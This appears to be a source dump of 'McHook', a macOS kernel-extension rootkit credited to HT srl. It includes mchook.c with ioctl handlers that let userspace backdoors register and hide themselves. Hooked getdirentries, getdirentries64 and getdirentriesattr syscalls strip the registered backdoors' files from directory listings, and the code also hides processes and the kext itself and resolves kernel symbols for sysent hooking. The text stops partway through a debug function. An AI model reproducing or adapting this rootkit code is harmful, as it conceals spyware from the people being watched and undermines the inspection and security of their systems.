| OSBundleLibraries 22 | 23 | com.apple.kpi.bsd 24 | 10.4 25 | com.apple.kpi.libkern 26 | 10.4 27 | 28 | 29 | 30 | -------------------------------------------------------------------------------- /mchook.c: -------------------------------------------------------------------------------- 1 | /* 2 | * McHook, mchook.c 3 | * OS X KSpace Rootkit 4 | * 5 | * [Features] 6 | * x sysent hooking for bsd syscalls 7 | * x mach_trap_table hooking for mach traps 8 | * x process hiding 9 | * x uspace->kspace proc hiding handler (kill) 10 | * x kext hiding 11 | * x filesystem hiding 12 | * x uspace->kspace communication channel (ioctl) 13 | * x Data structures keeping track of USpace Backdoor(s) pid 14 | * and Path(s)/Filename(s) 15 | * 16 | * 17 | * Created by revenge on 20/03/2009 18 | * Copyright (C) HT srl 2009. All rights reserved 19 | * 20 | */ 21 | 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | 32 | #include 33 | #include 34 | #include 35 | 36 | #include 37 | 38 | #include "mchook.h" 39 | 40 | #pragma mark - 41 | #pragma mark Global define(s) 42 | #pragma mark - 43 | 44 | #define MK_MBUF 1 45 | #define PLENGTH 6 46 | 47 | #define IM "appleHID" 48 | #define OSAX "appleOsax" 49 | #define KERNEL_BASE 0xffffff8000200000 // SL 10.6.4 50 | 51 | //#define DEBUG 52 | 53 | #pragma mark - 54 | #pragma mark Global variables 55 | #pragma mark - 56 | 57 | static reg_backdoors_t *g_reg_backdoors[MAX_BACKDOOR_ENTRIES]; 58 | static exclusion_list_t g_exclusion_list[2] = { 59 | "launchd", 1, 60 | "launchctl", 1, 61 | }; 62 | 63 | static int g_process_excluded = 2; 64 | static int g_kext_hidden = 0; 65 | 66 | // Holding current kmod entry pointer 67 | //static kmod_info_t *currentK; 68 | 69 | // Holding the uspace backdoor count 70 | static int g_registered_backdoors = 0; 71 | 72 | // BSD IOCTL stuff 73 | static int major = -1; 74 | static void *devfs_handle = 0; 75 | 76 | static int g_os_major = 0; 77 | static int g_os_minor = 0; 78 | static int g_os_bugfix = 0; 79 | 80 | static int g_symbols_resolved = 0; 81 | 82 | // Character device switch table 83 | static struct cdevsw chardev = { 84 | cdev_open, // open 85 | cdev_close, // close 86 | eno_rdwrt, // read 87 | eno_rdwrt, // write 88 | cdev_ioctl, // ioctl 89 | eno_stop, // stop 90 | eno_reset, // reset 91 | 0, // ttys 92 | eno_select, // select 93 | eno_mmap, // mmap 94 | eno_strat, // strategy 95 | eno_getc, // getc 96 | eno_putc, // putc 97 | 0 // type 98 | }; 99 | 100 | #pragma mark - 101 | #pragma mark Main IOCTL Functions 102 | #pragma mark - 103 | 104 | static int cdev_open(dev_t dev, int flags, int devtype, struct proc *p) { 105 | return 0; 106 | } 107 | 108 | static int cdev_close(dev_t dev, int flags, int devtype, struct proc *p) { 109 | return 0; 110 | } 111 | 112 | static int cdev_ioctl(dev_t dev, 113 | u_long cmd, 114 | caddr_t data, 115 | int fflag, 116 | struct proc *p) 117 | { 118 | int error = 0; 119 | char username[MAX_USER_SIZE]; 120 | 121 | switch (cmd) { 122 | case MCHOOK_INIT: { 123 | if (data) { 124 | strncpy(username, (char *)data, MAX_USER_SIZE); 125 | #ifdef DEBUG 126 | printf("[MCHOOK] Init for user %s with pid %d\n", username, p->p_pid); 127 | #endif 128 | if (backdoor_init(username, p) == FALSE) { 129 | #ifdef DEBUG 130 | printf("[MCHOOK] Error on init\n"); 131 | #endif 132 | } 133 | } 134 | } break; 135 | case MCHOOK_HIDEK: { 136 | #ifdef DEBUG 137 | printf("[MCHOOK] MCHOOK_HIDEK called\n"); 138 | #endif 139 | 140 | if (g_symbols_resolved == 1) { 141 | if (g_os_major == 10 && g_os_minor > 5) { 142 | hide_kext_osarray(); 143 | //hide_kext_leopard(); 144 | } 145 | else { 146 | #ifdef DEBUG 147 | printf("[MCHOOK] KEXT hiding not supported yet\n"); 148 | #endif 149 | } 150 | } 151 | else { 152 | #ifdef DEBUG 153 | printf("[MCHOOK] Error, symbols not correctly resolved\n"); 154 | #endif 155 | } 156 | } break; 157 | case MCHOOK_HIDEP: { 158 | #ifdef DEBUG 159 | printf("[MCHOOK] MCHOOK_HIDEP called\n"); 160 | #endif 161 | 162 | if (data && g_symbols_resolved == 1) { 163 | strncpy(username, (char *)data, MAX_USER_SIZE); 164 | #ifdef DEBUG 165 | pid_t pid = p->p_pid; 166 | printf("[MCHOOK] Hiding PID: %d\n", pid); 167 | #endif 168 | 169 | int backdoor_index = 0; 170 | 171 | if ((backdoor_index = get_active_bd_index(username, p->p_pid)) == -1) { 172 | #ifdef DEBUG 173 | printf("[MCHOOK] ERR: get_active_bd_index returned -1 in HIDEP\n"); 174 | #endif 175 | return error; 176 | } 177 | 178 | if (g_reg_backdoors[backdoor_index]->is_proc_hidden == 1) { 179 | #ifdef DEBUG 180 | printf("[MCHOOK] ERR: Backdoor is already hidden\n"); 181 | #endif 182 | return error; 183 | } 184 | 185 | if (hide_proc(p, username, backdoor_index) == -1) { 186 | #ifdef DEBUG 187 | printf("[MCHOOK] hide_proc failed\n"); 188 | #endif 189 | } 190 | } 191 | } break; 192 | case MCHOOK_HIDED: { 193 | #ifdef DEBUG 194 | printf("[MCHOOK] MCHOOK_HIDED called\n"); 195 | #endif 196 | if (data) { 197 | char dirName[MAX_DIRNAME_SIZE]; 198 | strncpy(dirName, (char *)data, MAX_DIRNAME_SIZE); 199 | add_dir_to_hide(dirName, p->p_pid); 200 | } 201 | } break; 202 | case MCHOOK_UNREGISTER: { 203 | #ifdef DEBUG 204 | printf("[MCHOOK] MCHOOK_UNREGISTER called (%lu)\n", cmd); 205 | #endif 206 | if (data && g_symbols_resolved == 1) { 207 | strncpy(username, (char *)data, MAX_USER_SIZE); 208 | 209 | #ifdef DEBUG 210 | printf("[MCHOOK] Unregister for user: %s\n", username); 211 | printf("[MCHOOK] backdoorCounter: %d\n", g_registered_backdoors); 212 | #endif 213 | 214 | #if 0 215 | // 216 | // g_backdoor_current could get messed up (e.g. 2 backdoors on the same machine 217 | // one gets uninstalled, the other is still active but there's no way 218 | // for it to be referenced by g_backdoor_current, thus we call get_active_bd_index 219 | // 220 | if (g_backdoor_current == -1) { 221 | if ((g_backdoor_current = get_active_bd_index(p, username)) == -1) { 222 | #ifdef DEBUG 223 | printf("[MCHOOK] unregistering err - backdoor not registered?!!\n"); 224 | #endif 225 | } 226 | } 227 | 228 | if (g_backdoor_current != -1 229 | && g_reg_backdoors[g_backdoor_current]->isProcHidden == 1) { 230 | #ifdef DEBUG 231 | printf("[MCHOOK] Re-linking process %d\n", p->p_pid); 232 | #endif 233 | 234 | unhide_proc(p); 235 | } 236 | #endif 237 | 238 | int backdoor_index; 239 | if ((backdoor_index = get_active_bd_index(username, p->p_pid)) == -1) { 240 | #ifdef DEBUG 241 | printf("[MCHOOK] ERR: get_active_bd_index returned -1 in UNREGISTER\n"); 242 | #endif 243 | 244 | return error; 245 | } 246 | 247 | if (g_reg_backdoors[backdoor_index]->is_proc_hidden == 1) { 248 | #ifdef DEBUG 249 | printf("[MCHOOK] Backdoor is hidden, unhiding\n"); 250 | #endif 251 | unhide_proc(p, backdoor_index); 252 | } 253 | 254 | //g_backdoor_current = -1; 255 | dealloc_meh(username, p->p_pid); 256 | 257 | if (g_registered_backdoors == 0) { 258 | #ifdef DEBUG 259 | printf("[MCHOOK] No more backdoor left, unhooking\n"); 260 | #endif 261 | remove_hooks(); 262 | } 263 | } 264 | } break; 265 | case MCHOOK_GET_ACTIVES: { 266 | *data = g_registered_backdoors; 267 | } break; 268 | #if __LP64__ || NS_BUILD_32_LIKE_64 269 | case MCHOOK_SOLVE_SYM_64: { 270 | #ifdef DEBUG 271 | printf("[MCHOOK] MCHOOK_SOLVE_SYM_64\n"); 272 | #endif 273 | 274 | symbol64_t *syms = (symbol64_t *)data; 275 | 276 | #ifdef DEBUG 277 | printf("[MCHOOK] hash : 0x%llx\n", syms->hash); 278 | printf("[MCHOOK] address : 0x%llx\n", syms->address); 279 | #endif 280 | 281 | if (g_symbols_resolved == 1) 282 | return error; 283 | 284 | switch (syms->hash) { 285 | case KMOD_HASH: { 286 | #ifdef DEBUG 287 | printf("[MCHOOK] kmod symbol received\n"); 288 | #endif 289 | i_kmod = (kmod_info_t *)syms->address; 290 | } break; 291 | case NSYSENT_HASH: { 292 | #ifdef DEBUG 293 | printf("[MCHOOK] nsysent symbol received\n"); 294 | #endif 295 | i_nsysent = (int *)syms->address; 296 | #ifdef DEBUG 297 | printf("[MCHOOK] nsysent: %ld\n", (long int)*i_nsysent); 298 | #endif 299 | } break; 300 | case TASKS_HASH: { 301 | #ifdef DEBUG 302 | printf("[MCHOOK] tasks symbol received\n"); 303 | #endif 304 | i_tasks = (queue_head_t *)syms->address; 305 | } break; 306 | case ALLPROC_HASH: { 307 | #ifdef DEBUG 308 | printf("[MCHOOK] allproc symbol received\n"); 309 | #endif 310 | i_allproc = (struct proclist *)syms->address; 311 | } break; 312 | case TASKS_COUNT_HASH: { 313 | #ifdef DEBUG 314 | printf("[MCHOOK] tasks_count symbol received\n"); 315 | #endif 316 | i_tasks_count = (int *)syms->address; 317 | } break; 318 | case NPROCS_HASH: { 319 | #ifdef DEBUG 320 | printf("[MCHOOK] nprocs symbol received\n"); 321 | #endif 322 | i_nprocs = (int *)syms->address; 323 | } break; 324 | case TASKS_THREADS_LOCK_HASH: { 325 | #ifdef DEBUG 326 | printf("[MCHOOK] tasks_threads_lock symbol received\n"); 327 | #endif 328 | i_tasks_threads_lock = (lck_mtx_t *)syms->address; 329 | } break; 330 | case PROC_LOCK_HASH: { 331 | #ifdef DEBUG 332 | printf("[MCHOOK] proc_lock symbol received\n"); 333 | #endif 334 | i_proc_lock = (void *)syms->address; 335 | } break; 336 | case PROC_UNLOCK_HASH: { 337 | #ifdef DEBUG 338 | printf("[MCHOOK] proc_unlock symbol received\n"); 339 | #endif 340 | i_proc_unlock = (void *)syms->address; 341 | } break; 342 | case PROC_LIST_LOCK_HASH: { 343 | #ifdef DEBUG 344 | printf("[MCHOOK] proc_list_lock symbol received\n"); 345 | #endif 346 | i_proc_list_lock = (void *)syms->address; 347 | } break; 348 | case PROC_LIST_UNLOCK_HASH: { 349 | #ifdef DEBUG 350 | printf("[MCHOOK] proc_list_unlock symbol received\n"); 351 | #endif 352 | i_proc_list_unlock = (void *)syms->address; 353 | } break; 354 | 355 | case KEXT_LOOKUP_WITH_TAG: { 356 | #ifdef DEBUG 357 | printf("[MCHOOK] kext_lookup_with_tag symbol received\n"); 358 | #endif 359 | kext_lookup_with_tag = (int *)syms->address; 360 | } break; 361 | case IO_RECURSIVE_LOCK: { 362 | #ifdef DEBUG 363 | printf("[MCHOOK] io_recursive_log symbol received\n"); 364 | #endif 365 | io_recursive_log = (int *)syms->address; 366 | } break; 367 | default: { 368 | #ifdef DEBUG 369 | printf("[MCHOOK] symbol not supported yet\n"); 370 | #endif 371 | } break; 372 | } 373 | } break; 374 | #else 375 | case MCHOOK_SOLVE_SYM_32: { 376 | #ifdef DEBUG 377 | printf("[MCHOOK] MCHOOK_SOLVE_SYM_32\n"); 378 | #endif 379 | 380 | symbol32_t *syms = (symbol32_t *)data; 381 | 382 | #ifdef DEBUG 383 | printf("[MCHOOK] hash : 0x%x\n", syms->hash); 384 | printf("[MCHOOK] address : 0x%x\n", syms->address); 385 | #endif 386 | if (g_symbols_resolved == 1) 387 | return error; 388 | 389 | switch (syms->hash) { 390 | case KMOD_HASH: { 391 | #ifdef DEBUG 392 | printf("[MCHOOK] kmod symbol received\n"); 393 | #endif 394 | i_kmod = (kmod_info_t *)syms->address; 395 | } break; 396 | case NSYSENT_HASH: { 397 | #ifdef DEBUG 398 | printf("[MCHOOK] nsysent symbol received\n"); 399 | #endif 400 | i_nsysent = (int *)syms->address; 401 | #ifdef DEBUG 402 | printf("[MCHOOK] nsysent: %ld\n", (long int)*i_nsysent); 403 | #endif 404 | } break; 405 | case TASKS_HASH: { 406 | #ifdef DEBUG 407 | printf("[MCHOOK] tasks symbol received\n"); 408 | #endif 409 | i_tasks = (queue_head_t *)syms->address; 410 | } break; 411 | case ALLPROC_HASH: { 412 | #ifdef DEBUG 413 | printf("[MCHOOK] allproc symbol received\n"); 414 | #endif 415 | i_allproc = (struct proclist *)syms->address; 416 | } break; 417 | case TASKS_COUNT_HASH: { 418 | #ifdef DEBUG 419 | printf("[MCHOOK] tasks_count symbol received\n"); 420 | #endif 421 | i_tasks_count = (int *)syms->address; 422 | } break; 423 | case NPROCS_HASH: { 424 | #ifdef DEBUG 425 | printf("[MCHOOK] nprocs symbol received\n"); 426 | #endif 427 | i_nprocs = (int *)syms->address; 428 | } break; 429 | case TASKS_THREADS_LOCK_HASH: { 430 | #ifdef DEBUG 431 | printf("[MCHOOK] tasks_threads_lock symbol received\n"); 432 | #endif 433 | i_tasks_threads_lock = (lck_mtx_t *)syms->address; 434 | } break; 435 | case PROC_LOCK_HASH: { 436 | #ifdef DEBUG 437 | printf("[MCHOOK] proc_lock symbol received\n"); 438 | #endif 439 | i_proc_lock = (void *)syms->address; 440 | } break; 441 | case PROC_UNLOCK_HASH: { 442 | #ifdef DEBUG 443 | printf("[MCHOOK] proc_unlock symbol received\n"); 444 | #endif 445 | i_proc_unlock = (void *)syms->address; 446 | } break; 447 | case PROC_LIST_LOCK_HASH: { 448 | #ifdef DEBUG 449 | printf("[MCHOOK] proc_list_lock symbol received\n"); 450 | #endif 451 | i_proc_list_lock = (void *)syms->address; 452 | } break; 453 | case PROC_LIST_UNLOCK_HASH: { 454 | #ifdef DEBUG 455 | printf("[MCHOOK] proc_list_unlock symbol received\n"); 456 | #endif 457 | i_proc_list_unlock = (void *)syms->address; 458 | } break; 459 | case KEXT_LOOKUP_WITH_TAG: { 460 | #ifdef DEBUG 461 | printf("[MCHOOK] kext_lookup_with_tag symbol received\n"); 462 | #endif 463 | kext_lookup_with_tag = (int *)syms->address; 464 | } break; 465 | case IO_RECURSIVE_LOCK: { 466 | #ifdef DEBUG 467 | printf("[MCHOOK] io_recursive_log symbol received\n"); 468 | #endif 469 | io_recursive_log = (int *)syms->address; 470 | } break; 471 | default: { 472 | #ifdef DEBUG 473 | printf("[MCHOOK] symbol not supported yet\n"); 474 | #endif 475 | } break; 476 | } 477 | } break; 478 | #endif 479 | case MCHOOK_FIND_SYS: { 480 | #ifdef DEBUG 481 | printf("[MCHOOK] MCHOOK_FIND_SYS called\n"); 482 | #endif 483 | 484 | if (data && check_symbols_integrity() == 1) { 485 | #ifdef DEBUG 486 | printf("[MCHOOK] symbols resolved\n"); 487 | #endif 488 | os_version_t *os_ver = (os_version_t *)data; 489 | g_os_major = os_ver->major; 490 | g_os_minor = os_ver->minor; 491 | g_os_bugfix = os_ver->bugfix; 492 | 493 | // Find sysent table 494 | _sysent = find_sysent(os_ver); 495 | if (_sysent == NULL) { 496 | #ifdef DEBUG 497 | printf("[MCHOOK] sysent not found\n"); 498 | #endif 499 | } 500 | else { 501 | #ifdef DEBUG 502 | printf("[MCHOOK] All symbols were resolved and sysent found\n"); 503 | #endif 504 | place_hooks(); 505 | } 506 | } 507 | else { 508 | #ifdef DEBUG 509 | printf("[MCHOOK] No data or symbols not resolved (%d)\n", g_symbols_resolved); 510 | #endif 511 | } 512 | } break; 513 | default: { 514 | #ifdef DEBUG 515 | printf("[MCHOOK] Unknown command called dudeeeee: %lu\n", cmd); 516 | #endif 517 | error = EINVAL; 518 | } break; 519 | } 520 | 521 | return error; 522 | } 523 | 524 | #pragma mark - 525 | #pragma mark Hooks 526 | #pragma mark - 527 | 528 | int hook_getdirentries(struct proc *p, 529 | struct mk_getdirentries_args *uap, 530 | int *retval) 531 | { 532 | struct dirent *tmp, *current; 533 | long size, count, length = 0; 534 | int flag = 0; 535 | int i_entry, i_path; 536 | 537 | real_getdirentries(p, uap, retval); 538 | size = retval[0]; 539 | 540 | if (size > 0 541 | && check_for_process_exclusions(p->p_pid) == -1) { 542 | MALLOC(tmp, struct dirent *, size, MK_MBUF, M_WAITOK); 543 | copyin(uap->buf, tmp, size); 544 | 545 | count = size; 546 | current = (struct dirent *)(char *)tmp; 547 | 548 | while (count > 0) { 549 | length = current->d_reclen; 550 | count -= length; 551 | 552 | for (i_entry = 0; i_entry < g_registered_backdoors; i_entry++) { 553 | // 554 | // Enforce checks in order to avoid situation where all the files are hidden 555 | // from the disk since the g_reg_backdoors structure is inconsistent 556 | // 557 | if (g_reg_backdoors[i_entry]->is_active == 1) { 558 | for (i_path = 0; i_path < g_reg_backdoors[i_entry]->path_counter; i_path++) { 559 | if (strncmp(g_reg_backdoors[i_entry]->path[i_path], "", 560 | strlen(g_reg_backdoors[i_entry]->path[i_path])) == 0) 561 | continue; 562 | 563 | if (strncmp((char *)&(current->d_name), 564 | g_reg_backdoors[i_entry]->path[i_path], 565 | strlen(g_reg_backdoors[i_entry]->path[i_path])) == 0) { 566 | if (count != 0) { 567 | // Remove the entry from buf 568 | memmove((char *)current, (char *)current + length, count); 569 | flag = 1; 570 | } 571 | // Adjust the size since we removed an entry 572 | size -= length; 573 | break; 574 | } 575 | } 576 | } 577 | 578 | if (flag) 579 | break; 580 | } 581 | #if 0 582 | if (strncmp((char *)&(current->d_name), PREFIX, PLENGTH) == 0) { 583 | if (count != 0) { 584 | // Remove the entry from buf 585 | bcopy((char *)current + length, (char *)current, count - length); 586 | flag = 1; 587 | } 588 | // Adjust the size since we removed an entry 589 | size -= length; 590 | } 591 | #endif 592 | // Last dir always has length of 0 593 | if (current->d_reclen == 0) 594 | count = 0; 595 | // Point to the next struct entry if we didn't remove anything 596 | if (count != 0 && flag == 0) 597 | current = (struct dirent *)((char *)current + length); 598 | flag = 0; 599 | } 600 | 601 | // Update the return size 602 | *retval = size; 603 | // Copy back to uspace the modified buffer 604 | copyout(tmp, uap->buf, size); 605 | FREE(tmp, MK_MBUF); 606 | } 607 | 608 | return(0); 609 | } 610 | 611 | int hook_getdirentries64(struct proc *p, 612 | struct mk_getdirentries64_args *uap, 613 | int *retval) 614 | { 615 | void *tmp; 616 | struct direntry *current; 617 | long size, count, length = 0; 618 | int flag = 0; 619 | int i_entry, i_path; 620 | 621 | real_getdirentries64(p, uap, retval); 622 | size = retval[0]; 623 | 624 | if (size > 0 625 | && check_for_process_exclusions(p->p_pid) == -1) { 626 | MALLOC(tmp, struct direntry *, size, MK_MBUF, M_WAITOK); 627 | copyin(uap->buf, tmp, size); 628 | 629 | count = size; 630 | current = (struct direntry *)(char *)tmp; 631 | 632 | while (count > 0) { 633 | length = current->d_reclen; 634 | count -= length; 635 | 636 | for (i_entry = 0; i_entry < g_registered_backdoors; i_entry++) { 637 | // 638 | // Enforce checks in order to avoid situation where all the files are hidden 639 | // from the disk since the g_reg_backdoors structure is inconsistent 640 | // 641 | if (g_reg_backdoors[i_entry]->is_active == 1) { 642 | for (i_path = 0; i_path < g_reg_backdoors[i_entry]->path_counter; i_path++) { 643 | if (strncmp(g_reg_backdoors[i_entry]->path[i_path], "", 644 | strlen(g_reg_backdoors[i_entry]->path[i_path])) == 0) 645 | continue; 646 | 647 | if (strncmp((char *)&(current->d_name), 648 | g_reg_backdoors[i_entry]->path[i_path], 649 | strlen(g_reg_backdoors[i_entry]->path[i_path])) == 0) { 650 | if (count != 0) { 651 | // Remove the entry from buf 652 | memmove((char *)current, (char *)current + length, count); 653 | flag = 1; 654 | } 655 | // Adjust the size since we removed an entry 656 | size -= length; 657 | break; 658 | } 659 | } 660 | } 661 | 662 | if (flag) 663 | break; 664 | } 665 | #if 0 666 | if (strncmp((char *)&(current->d_name), PREFIX, PLENGTH) == 0) { 667 | if (count != 0) { 668 | // Remove the entry from buf 669 | bcopy((char *)current + length, (char *)current, count - length); 670 | flag = 1; 671 | } 672 | // Adjust the size since we removed an entry 673 | size -= length; 674 | } 675 | #endif 676 | // Last entry always has length of 0 677 | if (current->d_reclen == 0) 678 | count = 0; 679 | // Point to the next struct entry 680 | if (count != 0 && flag == 0) 681 | current = (struct direntry *)((char *)current + length); 682 | flag = 0; 683 | } 684 | 685 | // Update the return size 686 | *retval = size; 687 | // Copy back to uspace the modified buffer 688 | copyout(tmp, uap->buf, size); 689 | FREE(tmp, MK_MBUF); 690 | } 691 | 692 | return(0); 693 | } 694 | 695 | int hook_getdirentriesattr(struct proc *p, 696 | struct mk_getdirentriesattr_args *uap, 697 | int *retval) 698 | { 699 | char procname[20]; 700 | char *curr_entry = NULL; 701 | 702 | attr_list_t al; 703 | int success = 0; 704 | int flag = 0; 705 | int curr_backdoor, curr_path; 706 | int index = 0; 707 | 708 | u_int32_t count = 0; 709 | u_int32_t entry_size = 0; 710 | 711 | /*attribute_buffer_t *buf, *this_entry;*/ 712 | FInfoAttrBuf *this_entry; 713 | char *buf; 714 | 715 | success = real_getdirentriesattr(p, uap, retval); 716 | proc_name(p->p_pid, procname, sizeof(procname)); 717 | 718 | #ifdef DEBUG_VERBOSE 719 | printf("p_start sec: %d for %s\n", (int)p->p_start.tv_sec, procname); 720 | #endif 721 | 722 | if (check_for_process_exclusions(p->p_pid) == -1) { 723 | #ifdef DEBUG_VERBOSE 724 | printf("getdirentriesattr called by %s\n", procname); 725 | printf("ATTRLIST - %s commonattr %08x | volattr %08x | fileattr %08x | dirattr %08x | forkattr %08x | %sfollow\n", 726 | p->p_comm, al.commonattr, al.volattr, al.fileattr, al.dirattr, al.forkattr, 727 | (uap->options & FSOPT_NOFOLLOW) ? "no" : ""); 728 | getAttributesForBitFields(al); 729 | #endif 730 | 731 | copyin(uap->alist, (caddr_t)&al, sizeof(al)); 732 | copyin(uap->count, (caddr_t)&count, sizeof(count)); 733 | 734 | #ifdef DEBUG_VERBOSE 735 | printf("bufferSize: %d\n", (int)uap->buffersize); 736 | #endif 737 | 738 | /*MALLOC(buf, attribute_buffer_t *, uap->buffersize, MK_MBUF, M_WAITOK);*/ 739 | MALLOC(buf, char *, uap->buffersize, MK_MBUF, M_WAITOK); 740 | copyin(uap->buffer, (caddr_t)buf, uap->buffersize); 741 | 742 | /*this_entry = (attribute_buffer_t *)(char *)buf;*/ 743 | this_entry = (FInfoAttrBuf *)buf; 744 | 745 | int _tmp_size = uap->buffersize; 746 | index = count; 747 | 748 | #ifdef DEBUG_VERBOSE 749 | printf("[MCHOOK] _tmp_size start : %d\n", _tmp_size); 750 | printf("[MCHOOK] index start : %d\n", index); 751 | #endif 752 | 753 | while (_tmp_size > 0 && index > 0) { 754 | entry_size = this_entry->length; 755 | curr_entry = (char *)&this_entry->name; 756 | curr_entry += this_entry->name.attr_dataoffset; 757 | 758 | #ifdef DEBUG_VERBOSE 759 | printf("[MCHOOK] curr_entry st : %llx\n", (unsigned long long)curr_entry); 760 | printf("[MCHOOK] data offset st : %x\n", this_entry->name.attr_dataoffset); 761 | printf("[MCHOOK] _tmp_size st : %x\n", _tmp_size); 762 | printf("[MCHOOK] index st : %d\n", index); 763 | #endif 764 | 765 | if (this_entry->name.attr_dataoffset > 0) { 766 | for (curr_backdoor = 0; curr_backdoor < g_registered_backdoors; curr_backdoor++) { 767 | // 768 | // Enforce checks in order to avoid situation where all the files are hidden 769 | // from the disk since the g_reg_backdoors structure is inconsistent 770 | // 771 | if (g_reg_backdoors[curr_backdoor]->is_active == 1) { 772 | for (curr_path = 0; 773 | curr_path < g_reg_backdoors[curr_backdoor]->path_counter; 774 | curr_path++) { 775 | #ifdef DEBUG_VERBOSE 776 | printf("[MCHOOK] curr_entry f : %llx\n", (unsigned long long)curr_entry); 777 | printf("[MCHOOK] g_curr_entry f: %s\n", g_reg_backdoors[curr_backdoor]->path[curr_path]); 778 | #endif 779 | if (strncmp(g_reg_backdoors[curr_backdoor]->path[curr_path], 780 | "", 781 | strlen(g_reg_backdoors[curr_backdoor]->path[curr_path])) == 0) 782 | continue; 783 | 784 | if (strncmp(curr_entry, 785 | g_reg_backdoors[curr_backdoor]->path[curr_path], 786 | strlen(g_reg_backdoors[curr_backdoor]->path[curr_path])) == 0) { 787 | if ((strncmp(curr_entry, IM, strlen(IM)) == 0) 788 | || (strncmp(curr_entry, OSAX, strlen(OSAX)) == 0)) { 789 | if (p->p_start.tv_sec == 0) { 790 | #ifdef DEBUG 791 | printf("Entry matched for %s (first time) - skipping\n", curr_entry); 792 | #endif 793 | p->p_start.tv_sec = 1; 794 | continue; 795 | } 796 | } 797 | #ifdef DEBUG_VERBOSE 798 | printf("%s REQUESTED %s\n", procname, curr_entry); 799 | #endif 800 | 801 | // Remove the entry from buf 802 | memmove((char *)this_entry, 803 | (char *)((NSUInteger)this_entry + entry_size), 804 | _tmp_size); 805 | flag = 1; 806 | 807 | // Adjust the counter since we removed an entry 808 | count--; 809 | 810 | break; 811 | } 812 | } 813 | } 814 | 815 | if (flag) 816 | break; 817 | } 818 | } 819 | else { 820 | #ifdef DEBUG_VERBOSE 821 | printf("[MCHOOK] dataoffset is 0\n"); 822 | #endif 823 | } 824 | 825 | _tmp_size -= entry_size; 826 | index -= 1; 827 | 828 | // Advance to the next entry 829 | /*if (_tmp_size != 0 && flag == 0)*/ 830 | /*this_entry = (attribute_buffer_t *)((NSUInteger)this_entry + entry_size);*/ 831 | if (_tmp_size > 0 && flag == 0) { 832 | char *z = ((char *)this_entry) + entry_size; 833 | this_entry = (FInfoAttrBuf *)z; 834 | } 835 | } 836 | 837 | // Back to uspace 838 | copyout((caddr_t)buf, uap->buffer, uap->buffersize); 839 | copyout(&count, uap->count, sizeof(count)); 840 | 841 | FREE(buf, MK_MBUF); 842 | } 843 | else { 844 | #ifdef DEBUG 845 | printf("Process excluded from hiding: %s\n", procname); 846 | #endif 847 | } 848 | 849 | return success; 850 | } 851 | 852 | #pragma mark - 853 | #pragma mark General purpose functions 854 | #pragma mark - 855 | 856 | #ifdef DEBUG 857 | void getAttributesForBitFields(attr_list_t al) 858 | { 859 | // commonattr checks 860 | if (al.commonattr & ATTR_CMN_NAME) 861 | printf("ATTR_CMN_NAME\n"); 862 | if (al.commonattr & ATTR_CMN_DEVID) 863 | printf("ATTR_CMN_DEVID\n"); 864 | if (al.commonattr & ATTR_CMN_FSID) 865 | printf("ATTR_CMN_FSID\n"); 866 | if (al.commonattr & ATTR_CMN_OBJTYPE) 867 | printf("ATTR_CMN_OBJTYPE\n"); 868 | if (al.commonattr & ATTR_CMN_OBJTAG) 869 | printf("ATTR_CMN_OBJTAG\n"); 870 | if (al.commonattr & ATTR_CMN_OBJID) 871 | printf("ATTR_CMN_OBJID\n"); 872 | if (al.commonattr & ATTR_CMN_OBJPERMANENTID) 873 | printf("ATTR_CMN_OBJPERMANENTID\n"); 874 | if (al.commonattr & ATTR_CMN_PAROBJID) 875 | printf("ATTR_CMN_PAROBJID\n"); 876 | if (al.commonattr & ATTR_CMN_SCRIPT) 877 | printf("ATTR_CMN_SCRIPT\n"); 878 | if (al.commonattr & ATTR_CMN_CRTIME) 879 | printf("ATTR_CMN_CRTIME\n"); 880 | if (al.commonattr & ATTR_CMN_MODTIME) 881 | printf("ATTR_CMN_MODTIME\n"); 882 | if (al.commonattr & ATTR_CMN_CHGTIME) 883 | printf("ATTR_CMN_CHGTIME\n"); 884 | if (al.commonattr & ATTR_CMN_ACCTIME) 885 | printf("ATTR_CMN_ACCTIME\n"); 886 | if (al.commonattr & ATTR_CMN_BKUPTIME) 887 | printf("ATTR_CMN_BKUPTIME\n"); 888 | if (al.commonattr & ATTR_CMN_FNDRINFO) 889 | printf("ATTR_CMN_FNDRINFO\n"); 890 | if (al.commonattr & ATTR_CMN_OWNERID) 891 | printf("ATTR_CMN_OWNERID\n"); 892 | if (al.commonattr & ATTR_CMN_GRPID) 893 | printf("ATTR_CMN_GRPID\n"); 894 | if (al.commonattr & ATTR_CMN_ACCESSMASK) 895 | printf("ATTR_CMN_ACCESSMASK\n"); 896 | if (al.commonattr & ATTR_CMN_FLAGS) 897 | printf("ATTR_CMN_FLAGS\n"); 898 | if (al.commonattr & ATTR_CMN_USERACCESS) 899 | printf("ATTR_CMN_USERACCESS\n"); 900 | if (al.commonattr & ATTR_CMN_EXTENDED_SECURITY) 901 | printf("ATTR_CMN_EXTENDED_SECURITY\n"); 902 | if (al.commonattr & ATTR_CMN_UUID) 903 | printf("ATTR_CMN_UUID\n"); 904 | if (al.commonattr & ATTR_CMN_GRPUUID) 905 | printf("ATTR_CMN_GRPUUID\n"); 906 | if (al.commonattr & ATTR_CMN_FILEID) 907 | printf("ATTR_CMN_FILEID\n"); 908 | if (al.commonattr & ATTR_CMN_PARENTID) 909 | printf("ATTR_CMN_PARENTID\n"); 910 | if (al.commonattr & ATTR_CMN_VALIDMASK) 911 | printf("ATTR_CMN_VALIDMASK\n"); 912 | if (al.commonattr & ATTR_CMN_SETMASK) 913 | printf("ATTR_CMN_SETMASK\n"); 914 | if (al.commonattr & ATTR_CMN_VOLSETMASK) 915 | printf("ATTR_CMN_VOLSETMASK\n"); 916 | 917 | // volattr checks 918 | if (al.volattr & ATTR_VOL_FSTYPE) 919 | printf("ATTR_VOL_FSTYPE\n"); 920 | if (al.volattr & ATTR_VOL_SIGNATURE) 921 | printf("ATTR_VOL_SIGNATURE\n"); 922 | if (al.volattr & ATTR_VOL_SIZE) 923 | printf("ATTR_VOL_SIZE\n"); 924 | if (al.volattr & ATTR_VOL_SPACEFREE) 925 | printf("ATTR_VOL_SPACEFREE\n"); 926 | if (al.volattr & ATTR_VOL_SPACEAVAIL) 927 | printf("ATTR_VOL_SPACEAVAIL\n"); 928 | if (al.volattr & ATTR_VOL_MINALLOCATION) 929 | printf("ATTR_VOL_MINALLOCATION\n"); 930 | if (al.volattr & ATTR_VOL_ALLOCATIONCLUMP) 931 | printf("ATTR_VOL_ALLOCATIONCLUMP\n"); 932 | if (al.volattr & 